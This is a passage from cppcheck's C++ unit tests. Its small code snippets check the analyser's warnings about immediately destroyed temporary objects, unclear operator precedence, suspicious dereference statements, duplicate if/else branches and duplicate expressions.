0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n 